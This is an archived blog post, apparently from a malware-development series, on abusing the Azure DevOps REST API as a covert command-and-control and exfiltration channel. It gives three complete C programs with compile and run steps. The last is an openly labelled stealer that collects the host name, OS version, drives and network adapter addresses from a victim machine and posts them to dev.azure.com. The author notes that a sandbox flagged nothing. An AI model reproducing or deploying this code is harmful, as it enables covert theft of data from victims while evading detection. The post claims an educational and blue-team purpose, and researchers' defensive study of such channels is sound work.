Malware development trick 49: abusing Azure DevOps REST API for covert data channels. Simple C examples. By cocomelonc Published: 2025-08-11 · Archived: 2026-04-05 22:25:23 UTC 7 minute read ﷽ Hello, cybersecurity enthusiasts and white hackers! In this post, I want to show how Azure DevOps REST API - a totally legit Microsoft service - can be used by an attacker to communicate with their infrastructure in unexpected ways. This is not an Azure DevOps bug, but an abuse of functionality. Think of it as using a perfectly fine hammer… to crack a safe. We will explore three minimal proof-of-concepts: sending a simple GET request to list Azure DevOps projects. creating a work item (Task) with a title. creating a work item with a title and a description containing arbitrary text - a “safe” stand-in for sensitive data in a stealer scenario. https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 1 of 22 azure servicesPermalink If you are not familiar with Azure Devops Services like me, let me show few steps to create minimal env for our hacking scenario. We just need the smallest possible environment so our PoC has somewhere to talk to. Go to https://dev.azure.com/ and sign in with a Microsoft account. If prompted, create a new organization - name it anything (in my case, cocomelonkz ): https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 2 of 22 Then, create a project. In your new organization, click “New Project”. Give it a short name, e.g., hack or cat . Visibility can be private (this is fine for our test): https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 3 of 22 Finally, generate a Personal Access Token (PAT): https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 4 of 22 https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 5 of 22 In my case full access, but you need read and write permissions - it’s enough for our scenario. For checking correctness, test API via curl : curl -u ":your token here something like 9O1QFlG1YxLe88F65PfHutr...........CAAAAAAAAAAAAASAZDOOcAA" -X GET "htt As you can see, you should see JSON with your project list. If you get that, your Azure DevOps “C2 server” is ready for abuse. practical example 1Permalink The simplest way to talk to Azure DevOps REST API is to hit an endpoint, for example: /cocomelonkz/_apis/projects?api-version=7.1 In this case, full source code looks like this hack.c : /* * hack.c * minimal simple GET request to * Azure DevOps REST API: * list of projects https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 6 of 22 * helper function for stealer * author @cocomelonc */ #include #include #include int main() { HINTERNET hSession, hConnect, hRequest; DWORD bytesRead; char buffer[4096]; // init hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (!hSession) { printf("WinHttpOpen failed: %lu\n", GetLastError()); return 1; } // connect to dev.azure.com (HTTPS) hConnect = WinHttpConnect(hSession, L"dev.azure.com", INTERNET_DEFAULT_HTTPS_PORT, 0); if (!hConnect) { printf("WinHttpConnect failed: %lu\n", GetLastError()); WinHttpCloseHandle(hSession); return 1; } // GET-req hRequest = WinHttpOpenRequest( hConnect, L"GET", L"/cocomelonkz/_apis/projects?api-version=7.1", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE ); // headers const wchar_t *headers = L"Accept: application/json\r\n" L"Authorization: Basic " L"\r\n"; WinHttpAddRequestHeaders(hRequest, headers, (ULONG)-1, WINHTTP_ADDREQ_FLAG_ADD); // send request https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 7 of 22 if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) { printf("WinHttpSendRequest failed: %lu\n", GetLastError()); return 1; } if (!WinHttpReceiveResponse(hRequest, NULL)) { printf("WinHttpReceiveResponse failed: %lu\n", GetLastError()); return 1; } // get response while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) { buffer[bytesRead] = '\0'; printf("%s", buffer); } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return 0; } As you can see, this is a program with minimal helper logic: this is enough to pull metadata from Azure DevOps without triggering anything suspicious in most network setups. Just replace with your own token: echo -n ":9O1QFlG1...QQJ99BHACAAAAAAAAAAAAASAZDOOcAA" | base64 demo 1Permalink Let’s go to see first example in action. Compile it: x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-section https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 8 of 22 Then, run in the victim’s machine (in my case Windows 10/11 VM): .\hack.exe As you can see, everything is worked as expected! https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 9 of 22 practical example 2Permalink Let’s update our logic: creating a work item with a title. Since an attacker want push data from victim’s host instead of pulling. Azure DevOps supports creating work items via REST API. We can send a JSON PATCH request to: POST /ORG/PROJECT/_apis/wit/workitems/$Task?api-version=7.1 Content-Type: application/json-patch+json Here’s a minimal PoC that sets only the System.Title , based on Microsoft documentation ( hack2.c ): /* * hack2.c * Azure DevOps REST API * create work item * helper function for stealer * author @cocomelonc */ #include #include #include int main() { HINTERNET hSession, hConnect, hRequest; DWORD bytesRead; char buffer[8192]; // headers const wchar_t *authHeader = L"Authorization: Basic Ojl...FBQUFBQVNBWkRPT2NBQQ==\r\n"; const wchar_t *contentHeader = L"Content-Type: application/json-patch+json\r\n"; const wchar_t *acceptHeader = L"Accept: application/json\r\n"; // JSON patch for patch operations (PATCH) const char *postData = "[{\"op\":\"add\",\"path\":\"/fields/System.Title\",\"from\":null,\"value\":\"meow\"}]" hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); hConnect = WinHttpConnect(hSession, L"dev.azure.com", INTERNET_DEFAULT_HTTPS_PORT, 0); hRequest = WinHttpOpenRequest( hConnect, L"POST", L"/cocomelonkz/hack1/_apis/wit/workitems/$Task?api-version=7.1", NULL, WINHTTP_NO_REFERER, https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 10 of 22 WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE ); WinHttpAddRequestHeaders(hRequest, authHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD); WinHttpAddRequestHeaders(hRequest, contentHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD); WinHttpAddRequestHeaders(hRequest, acceptHeader, -1L, WINHTTP_ADDREQ_FLAG_ADD); WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)postData, strlen(postData), strlen(postData), 0); WinHttpReceiveResponse(hRequest, NULL); while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) { buffer[bytesRead] = '\0'; printf("%s", buffer); } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return 0; } Don’t forget to replace with your own base64 -encoded token. demo 2Permalink Compile second example: x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-secti https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 11 of 22 Then, run on the victim’s host: .\hack2.exe https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 12 of 22 Now our PoC creates an artifact in the cloud: https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 13 of 22 practical example 3: stealerPermalink Here we’ll simulate a scenario where system information is sent to Azure DevOps like before: Github API, VirusTotal or Telegram. The full source code is looks like this hack3.c : /* * hack3.c * Azure DevOps REST API stealer * author @cocomelonc */ #include #include #include #include #include #pragma comment(lib, "winhttp.lib") #pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "crypt32.lib") int sendToAzure(const char* project, const char* pat, const char* title, const char* description) { HINTERNET hSession, hConnect, hRequest; char authHeader[512]; char jsonBody[10000]; DWORD bytesRead; char buffer[8192]; // construct json body snprintf(jsonBody, sizeof(jsonBody), "[{\"op\":\"add\",\"path\":\"/fields/System.Title\",\"value\":\"%s\"}," "{\"op\":\"add\",\"path\":\"/fields/System.Description\",\"value\":\"%s\"}]", https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 14 of 22 title, description); // encode PAT to base64 (PAT without username // for Azure DevOps ":PAT") char patAuth[256]; snprintf(patAuth, sizeof(patAuth), ":%s", pat); DWORD patLen = lstrlenA(patAuth); DWORD base64Len = 0; if (!CryptBinaryToStringA((BYTE*)patAuth, patLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &base64Len) fprintf(stderr, "Base64 length error\n"); return 1; } char patBase64[256]; if (!CryptBinaryToStringA((BYTE*)patAuth, patLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, patBase64, &base6 fprintf(stderr, "Base64 encode error\n"); return 1; } snprintf(authHeader, sizeof(authHeader), "Authorization: Basic %s", patBase64); // printf("%s\n", authHeader); hSession = WinHttpOpen(L"Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BY hConnect = WinHttpConnect(hSession, L"dev.azure.com", INTERNET_DEFAULT_HTTPS_PORT, 0); char path[512]; snprintf(path, sizeof(path), "/cocomelonkz/%s/_apis/wit/workitems/$Task?api-version=7.1", project); wchar_t wpath[512]; MultiByteToWideChar(CP_ACP, 0, path, -1, wpath, 512); hRequest = WinHttpOpenRequest(hConnect, L"POST", wpath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES wchar_t wauthHeader[512]; wchar_t wctypeHeader[] = L"Content-Type: application/json-patch+json"; MultiByteToWideChar(CP_ACP, 0, authHeader, -1, wauthHeader, 512); WinHttpAddRequestHeaders(hRequest, wauthHeader, -1, WINHTTP_ADDREQ_FLAG_ADD); WinHttpAddRequestHeaders(hRequest, wctypeHeader, -1, WINHTTP_ADDREQ_FLAG_ADD); WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, (LPVOID)jsonBody, strlen(jsonBody), strlen(json WinHttpReceiveResponse(hRequest, NULL); // get response (checking) WinHttpReceiveResponse(hRequest, NULL); https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 15 of 22 while (WinHttpReadData(hRequest, buffer, sizeof(buffer) - 1, &bytesRead) && bytesRead > 0) { buffer[bytesRead] = '\0'; printf("%s", buffer); } WinHttpCloseHandle(hRequest); WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); return 0; } int main() { char systemInfo[4096]; CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1]; DWORD size = sizeof(hostName) / sizeof(hostName[0]); GetComputerNameA(hostName, &size); OSVERSIONINFO osVersion; osVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&osVersion); SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); DWORD drives = GetLogicalDrives(); IP_ADAPTER_INFO adapterInfo[16]; DWORD adapterInfoSize = sizeof(adapterInfo); GetAdaptersInfo(adapterInfo, &adapterInfoSize); snprintf(systemInfo, sizeof(systemInfo), "Host Name: %s\n" "OS Version: %d.%d.%d\n" "Processor Architecture: %d\n" "Number of Processors: %d\n" "Logical Drives: %X\n", hostName, osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber, sysInfo.wProcessorArchitecture, sysInfo.dwNumberOfProcessors, drives); for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter->Next) { snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) - strlen(systemInfo), "Adapter Name: %s\n" "IP Address: %s\n" https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 16 of 22 "Subnet Mask: %s\n" "MAC Address: %02X-%02X-%02X-%02X-%02X-%02X\n\n", adapter->AdapterName, adapter->IpAddressList.IpAddress.String, adapter->IpAddressList.IpMask.String, adapter->Address[0], adapter->Address[1], adapter->Address[2], adapter->Address[3], adapter->Address[4], adapter->Address[5]); } sendToAzure("hack1", "9...CAAAAAAAAAAAAASAZDOOcAA", "meow2", systemInfo); return 0; } As you can see, this source code is pretty similar my Github, Telegram and VirusTotal scenarios. demo 3Permalink Compile stealer example: x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-secti Then, run on the victim’s host: .\hack3.exe https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 17 of 22 https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 18 of 22 As you can see, everything is works perfectly! =^..^= This approach has some interesting traits: blends with legit traffic - all calls go to dev.azure.com . no additional infra needed - the “C2” is a Microsoft service. persistence and history - once data is in a work item, it stays there until deleted. two-way channel - you can GET and POST to exchange data. For Blue teams, the lesson is as always: not all “benign” cloud traffic is harmless. Upload to ANY.RUN: https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 19 of 22 https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 20 of 22 As you can see, ANY.RUN says that everything is ok: no threats detected. Summary: interaction with the Azure cloud is recognized as legitimate behavior and this is the main https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 21 of 22 problem! Pwn! =^..^= https://app.any.run/tasks/5ad3bf05-f2c3-48d0-8552-7a988b536ad8 Malware like AllaKore and APTs like APT32: OceanLotus use Azure for malicious actions in the wild I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal. Thanks to ANY.RUN for API! ANY.RUN ANY.RUN: hack3.exe Microsoft: Get started with Azure DevOps REST API AllaKore AllaKore variant leverages Azure cloud C2 Github API stealer VirusTotal API stealer Telegram Bot API stealer source code in Github This is a practical case for educational purposes only. Thanks for your time happy hacking and good bye! PS. All drawings and screenshots are mine Source: https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Page 22 of 22 https://cocomelonc.github.io/malware/2025/08/11/malware-tricks-49.html Then, run in the victim’s machine (in my case Windows 10/11 VM): .\hack.exe As you can see, everything is worked as expected! Page 9 of 22